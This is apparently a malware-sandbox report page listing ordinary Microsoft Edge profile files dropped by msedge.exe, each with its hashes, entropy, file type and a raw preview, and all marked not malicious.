Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\8097023c-d1dd-4803-b7e9-55bb1d2582a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	MS Windows icon resource - 8 icons, 16x16, 32 bits/pixel, 20x20, 32 bits/pixel
Category:	dropped
Size (bytes):	71757
Entropy (8bit):	6.771708343960135
Encrypted:	false
SSDEEP:	1536:vAlMWz7vLDtDSVlXXwpFlorgLUxF+D4n6owPFCawP/:vvuWAUxFaoGw/
MD5:	E5E3377341056643B0494B6842C0B544
SHA1:	D53FD8E256EC9D5CEF8EF5387872E544A2DF9108
SHA-256:	E23040951E464B53B84B11C3466BBD4707A009018819F9AD2A79D1B0B309BC25
SHA-512:	83F09E48D009A5CF83FA9AA8F28187F7F4202C84E2D0D6E5806C468F4A24B2478B73077381D2A21C89AA64884DF3C56E8DC94EB4AD2D6A8085AC2FEB1E26C2EF
Malicious:	false
Preview:	............ .h............. ............... ......... .... .........((.... .h....%..00.... ..%..>@..@@.... .(B...e........ .?p......(....... ..... ..........................................w...x...y...v...j...c...\...N...........................w.<.w...y...x...]...P...M...N...N...N...M...H.<.............w.<.w...y...{...]...P...O...Q...R...P...O...N...K...H.<.........w...y...{...p...P...P...Q...S...Q...P..N...N..K...K.......w...y...{...\|...i...Q...P...S...R.......................I.W.....y...{...}.......c...Q...Q...U.W......3<..6.i.?.V.D.L.L.@.Q<.....{...}..........n...P...S............3.7...;.f.B.P.P.D.U.8.[W.}................P...P.s..........3...7...<.g.H.c.O.R.Y.?.].................u...J...........6..8...?...E.o.O.U.W.L._..............................$...7...@...J.o.O.b.].L.f..+..............................0...;...J...S.h.].X.e.../..0.................!.........2...<...G...P.i.g.Y.m.......1..2..0...0.......+......*...1...8...C...M.~.^.m.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\8e607794-4d2d-4161-a726-34f92602650a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11017), with no line terminators
Category:	dropped
Size (bytes):	11019
Entropy (8bit):	5.4361621555536015
Encrypted:	false
SSDEEP:	192:ng+xzEOCYmL2glV0TkCkBsI3+9uHTYpMrQ0KZQlYX+2I16O:ng+lEOAljuIng+
MD5:	46636FF2A8B4E750B4C2F8B463427CA2
SHA1:	C0876CB603E870FAEF7F5915AD0E7CC913965055
SHA-256:	3C8A24568A6F3BC09878C1A1FEC7494BCB5B2B1EE523F94CFF73C4B1A1722AA4
SHA-512:	6E80E4FF718D3DF74BBC2E427A5C84687B0D063B8CB4EADA66528B3CAEC391C79615FBE8892925EF5008090044BD712736E0FEF97305BECBEE71DEF33D1DDE13
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13381052067045495","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":94},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":false,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":632,"browser_content_container_width":996,"browser_content_container_x":0,"browser_content_container_y":112,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2871,"this_week_services_downstream_foreground_kb":{"109536380":106,"112189210":0,"113604596":3,"12038966":85,"41274743":1,"4327694":0,"67541500":14,"70858119":1}},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13381052067045053"},"download":{"default_directory":"

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\9c983b64-4606-4236-9a92-5569dfb7f9b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (11134), with no line terminators
Category:	dropped
Size (bytes):	11136
Entropy (8bit):	5.433622911855598
Encrypted:	false
SSDEEP:	192:ng+dzEOCYmL2glV0TkCkBsI3+9uHTYpMrQ0KZQlYX+2I86O:ng+xEOAljuIngF
MD5:	B3D8CEF125CC9A5D47DAC532EADF3E25
SHA1:	0E7563DE682326AA8EE1F5B66CBA3E60EBEAF786
SHA-256:	A7D14214BF7E75476D2A26F004925133C79A4BB0850D4A530081F795457E6899
SHA-512:	F21220E1778EB76AB53D8053987D91078D74F874E142723B202447E0B1DA6DB76B651831CC356DC0F84BE0276C40D375E6327D6ACEC02E2C3C1BDC2EA992A907
Malicious:	false
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13381052067045495","alternate_error_pages":{"backup":true},"autocomplete":{"retention_policy_last_version":94},"autofill":{"orphan_rows_removed":true},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"window_placement":{"bottom":758,"left":10,"maximized":false,"right":1014,"top":10,"work_area_bottom":768,"work_area_left":0,"work_area_right":1024,"work_area_top":0}},"browser_content_container_height":632,"browser_content_container_width":996,"browser_content_container_x":0,"browser_content_container_y":112,"countryid_at_install":21843,"custom_links":{"list":[]},"data_reduction":{"this_week_number":2871,"this_week_services_downstream_foreground_kb":{"109536380":106,"112189210":0,"113604596":3,"113711087":10,"12038966":85,"41274743":1,"4327694":0,"67541500":14,"70858119":1}},"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13381052067045053"},"download":{"defau

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	513
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWWWWWWW
MD5:	C92EABB217D45C77F8D52725AD3758F0
SHA1:	43B422AC002BB445E2E9B2C27D74C27CD70C9975
SHA-256:	388C5C95F0F54F32B499C03A37AABFA5E0A31030EC70D0956A239942544B0EEA
SHA-512:	DFD5D1C614F0EBFF97F354DFC23266655C336B9B7112781D7579057814B4503D4B63AB1263258BDA3358E5EE9457429C1A2451B22261A1F1E2D8657F31240D3C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	333
Entropy (8bit):	5.154745962273085
Encrypted:	false
SSDEEP:	6:iOnjnPJYDhP5c23oH+Tcwt8Yg2KLl1jauDM+q2TYDhP5c23oH+Tcwt8NIFUv:7njn6PhYebqLrjauQ+vsPhYebpFUv
MD5:	6750597637E016503D00FD8D8AE195AB
SHA1:	5971F23C101BAE96E6724DC453B517A57D9B53DF
SHA-256:	D487FB70EA42E1BF15399DE3228C5AFB75763F15A157745EA2AEA0A640B19DE5
SHA-512:	07C940CDE5BB02C83DEB91AD9F938047D6FF5F1FEC28309E58028FFAAC354A24055E8CA9CAB1F32ABC2F2D8F3A6FDBC756F7280D607873211750D149FF441723
Malicious:	false
Preview:	2025/01/11-01:54:28.902 1a1c Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State since it was missing..2025/01/11-01:54:28.963 1a1c Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Favicons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 1, database pages 10, cookie 0x8, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.2996107769380456
Encrypted:	false
SSDEEP:	48:LBmw6fU1zBqqOXb47ktEKuRdWVvpmkYqOZY/u7v:LBCyqbL4ooRgwbm/ur
MD5:	7A1FC00F9DDBBF3754E112C6B8B4F351
SHA1:	94407D772EE13DC08940C13A8BD77278A4EBE316
SHA-256:	ED4D8515EEB750327C7CE8C4C1A748E4DBAE0B333E2B4920A5D193D349B91856
SHA-512:	996B9D7C472C52149BE29CD5EE7C5A104238AD64F4108643A7B790825351CA0CF966BC35A555D31FBEBED7C4981025EA160BD529322625005997FD16AE8EF787
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`.........g....._.c...~.2.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................s...;+...indexfavicon_bitmaps_icon_idfavico

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.629307656487099E-4
Encrypted:	false
SSDEEP:	3:LsFl0lHsl:LsFKk
MD5:	59E42FA8BDFDF6942E2B8E280194292A
SHA1:	9E688BD4F00700D43662F8A74B524B66AA77AC71
SHA-256:	358201C85FD934615EE4EF737861F8A3E08F62274067EE4ECB82931EC504614B
SHA-512:	D858640EB1BA1B68D26BD26E859AC442552AC1CE53FAA0834CC0FE4BF76D7A61A31C9B0D4B9B28DF2C51B4009AE9C88F165081693C8327A288A43D015D9DD715
Malicious:	false
Preview:	.........................................!3.../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 1, database pages 35, cookie 0x1c, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	143360
Entropy (8bit):	0.4580299380484517
Encrypted:	false
SSDEEP:	96:dFGnU+bDoYysX0uhny6ztha5+fV0NueLjLqf3u:dFGU+bDo3irhny6vi+fV0F3qf3u
MD5:	305248216FA88D3E68DD544A3ECEC88E
SHA1:	A1FAA4309F30BDAFB9899A6C3943AA198EC0814C
SHA-256:	A52872C476C3D2DA7C2947B0F5947E72976BEB49A4DFE61AF92F263DB4393826
SHA-512:	7336F0DE1B2B77A3CD1DDD70ED3D860C0CA25D1CDDEF9A221A73862E12FDFFBC2A4353F28088C0079D347315193D5C796E97ED07796FAD761C516B08A9072718
Malicious:	false
Preview:	SQLite format 3......@ .......#..................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21845793160718044
Encrypted:	false
SSDEEP:	3:Cl/Uln3lljq7A/mhWJFuQ3yy7IOWUBO/Kl/dweytllrE9SFcTp4AGZs5V9RUIv:Ct2s75fOrO/+/d0Xi99pGsLx
MD5:	FFF15D6908CA5C75FBA2F0D82757C46E
SHA1:	C11A04C029DD73387D2C9D46434CB0D8FB7440FD
SHA-256:	B296357CEA1C25A1331118D92BC5B15DEC33815AE635A0F15291CEABBFC3C742
SHA-512:	7A7E326732F8FDBCC450E9F4936E48C96E3BA0C9B1C788DBE2375B44A18E2B04C939C104266DE99CCAC77D13AD3857B1D4F2F2C295E20367B679CF56D74DB5CE
Malicious:	false
Preview:	............$.}m...#....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	417
Entropy (8bit):	5.2126568389590835
Encrypted:	false
SSDEEP:	12:7nMPhYeb8rcHEZrEkVLrj+T+vsPhYeb8rcHEZrELFUv:7nChYeb8nZrEkVLr6QihYeb8nZrEx2
MD5:	FAFD3499CF6789B575F5693FDB6CC554
SHA1:	EA69BCF770145AF09181EC05FBD7AF6E65DBF097
SHA-256:	E604801D2B46DF679B9839B93910997C150251D852506EEBB14A100D99073FFF
SHA-512:	CFF918404EA719FD628804A8DF125C33876C4227D0C9421C66DDE12B82BA5210BC7ECCF1C6494485A0E5BC8784D09F7D24683643F315323071E10498948A5312
Malicious:	false
Preview:	2025/01/11-01:54:28.764 1a1c Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2025/01/11-01:54:28.901 1a1c Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2275
Entropy (8bit):	5.600793665317641
Encrypted:	false
SSDEEP:	48:35ZRAAQKBj07X7z8lj1wERS0MXDl1CW9vclYvV6T69X3xelNeWV03Sx4LylsPyA9:JfC811wE80alwukCv2w3EuM2osR
MD5:	CE370641689DC5536DA9EBC377D74C3C
SHA1:	18CDE1177CFF12D3D0351471997409F99E7AF618
SHA-256:	978DD44A769323075BD0845DFAF3576555FB58B05648A8A9A5C35580F271C415
SHA-512:	4EFF24609F3DAFCF7C201E75420E794E866F61852B96FE12A3243FBD81C90C0A6EE23C021F0D473F898AAD2A466EB6B1FD26C54B08795F4E1F0E391806DD733F
Malicious:	false
Preview:	.T..p................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..1adcoords...{"dataType":"Map","value":[["infopane",{"coords":{"x":42,"y":387}}],["nativead-river-1",{"coords":{"x":354,"y":703}}],["nativead-resriver-1",{"coords":{"x":42,"y":1019}}]]}.$_https://ntp.msn.com..1adcoords_date.."2025-01-11T06:54:32.734Z". _https://ntp.msn.com..1adindices...{"dataType":"Map","value":[["infopane",[3,11,15]],["infopanelock",[]],["peekinfopane",[]],["rightrail",[]],["triver",[]],["river",[1]],["riverlock",[]],["peekriver",[]],["infopane-tab",[]],["resinfopane",[6]],["resinfopanelock",[]],["resriver",[1]],["resriverlock",[]],["dense-river",[]],["rivert",[]],["resrivert",[]],["infopane1u",[]]]}.%_https://ntp.msn.com..1adindices_date.."2025-01-11T06:54:32.613Z".&_https://ntp.msn.com..CookieSyncExpiry..1736578472233.._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1131}.!_https://ntp.msn.com..LastKnownPV..1736578471

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.186331260434502
Encrypted:	false
SSDEEP:	6:iOn2dvFBJYDhP5c23oH+Tcwt8a2jM8B2KLl1Meq2TYDhP5c23oH+Tcwt8a2jMGIg:7n2HIPhYeb8jFLrVvsPhYeb8EFUv
MD5:	5A9D215D3814D8841756510C8F999B83
SHA1:	0063F21BEAF1955A68DE9CE8B13A689D3F15937E
SHA-256:	6A1936262A587EC2AD8EE56BDCFB3A75C2C0A28ABE40B8520DCA53414390B612
SHA-512:	0F3289F9C02C4CBE654BB36662F1BE055767CCB1C4B7E2B254BC6BF0E4EE6FB6831242F886AF2D4402B3DCF76AB470B616881400C26414B0926969FFABA72DD4
Malicious:	false
Preview:	2025/01/11-01:54:25.168 1e80 Creating DB C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb since it was missing..2025/01/11-01:54:25.566 1e80 Reusing MANIFEST C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8236873764424179
Encrypted:	false
SSDEEP:	96:pQ8XNKLyeymwHCn8MouOFlSynlbiXyKwt8hG:pQ8fHG7qXnlbibhG
MD5:	451AA3F16A70DC92797D12A2F6322613
SHA1:	9806149DBA5968EC59B1E3EEA29759D71C8B30BA
SHA-256:	165A6FE46AFEC7D17DCDFAC63F8B148AFA40926E91F8D33D3EA7371CF76FD382
SHA-512:	3E6DE59F2302F56DE8292F7F209F84D99AF2073589A17213237A77DDFF5E34933700AE5C9B45E31FE76CC27E5C93AD8B8145AB85F9D6C16FF08307A0C2E228E3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, file counter 3, database pages 9, cookie 0x5, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.4137784766694259
Encrypted:	false
SSDEEP:	24:TL1PD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFS:T1/qALihje9kqL42WOT/9F
MD5:	5AA0D6A2ECCE658F08BF5E58B9B36AD2
SHA1:	F1C9C69A80D845597628FFDC3618ED62593CE473
SHA-256:	9D16F84C9DA5A8CB2E660AE2E225B723EE6137DF147A56791375FC5B22CBABCA
SHA-512:	B8D37839DB68392E92EA024FA8C54FF3B04D9E7E6DBF28B2AC34420E49614493FE387B0B35F5D3FB65F9D111DF68CCB70C9FC34943D0D07A93F3A70CF1F12C21
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................S`......,......\.t.+.>...,............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.051821770808046
Encrypted:	false
SSDEEP:	3:YVXADAEvTLSJ:Y9AcEvHSJ
MD5:	2B432FEF211C69C745ACA86DE4F8E4AB
SHA1:	4B92DA8D4C0188CF2409500ADCD2200444A82FCC
SHA-256:	42B55D126D1E640B1ED7A6BDCB9A46C81DF461FA7E131F4F8C7108C2C61C14DE
SHA-512:	948502DE4DC89A7E9D2E1660451FCD0F44FD3816072924A44F145D821D0363233CC92A377DBA3A0A9F849E3C17B1893070025C369C8120083A622D025FE1EACF
Malicious:	false
Preview:	{"preferred_apps":[],"version":1}

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager

Download File

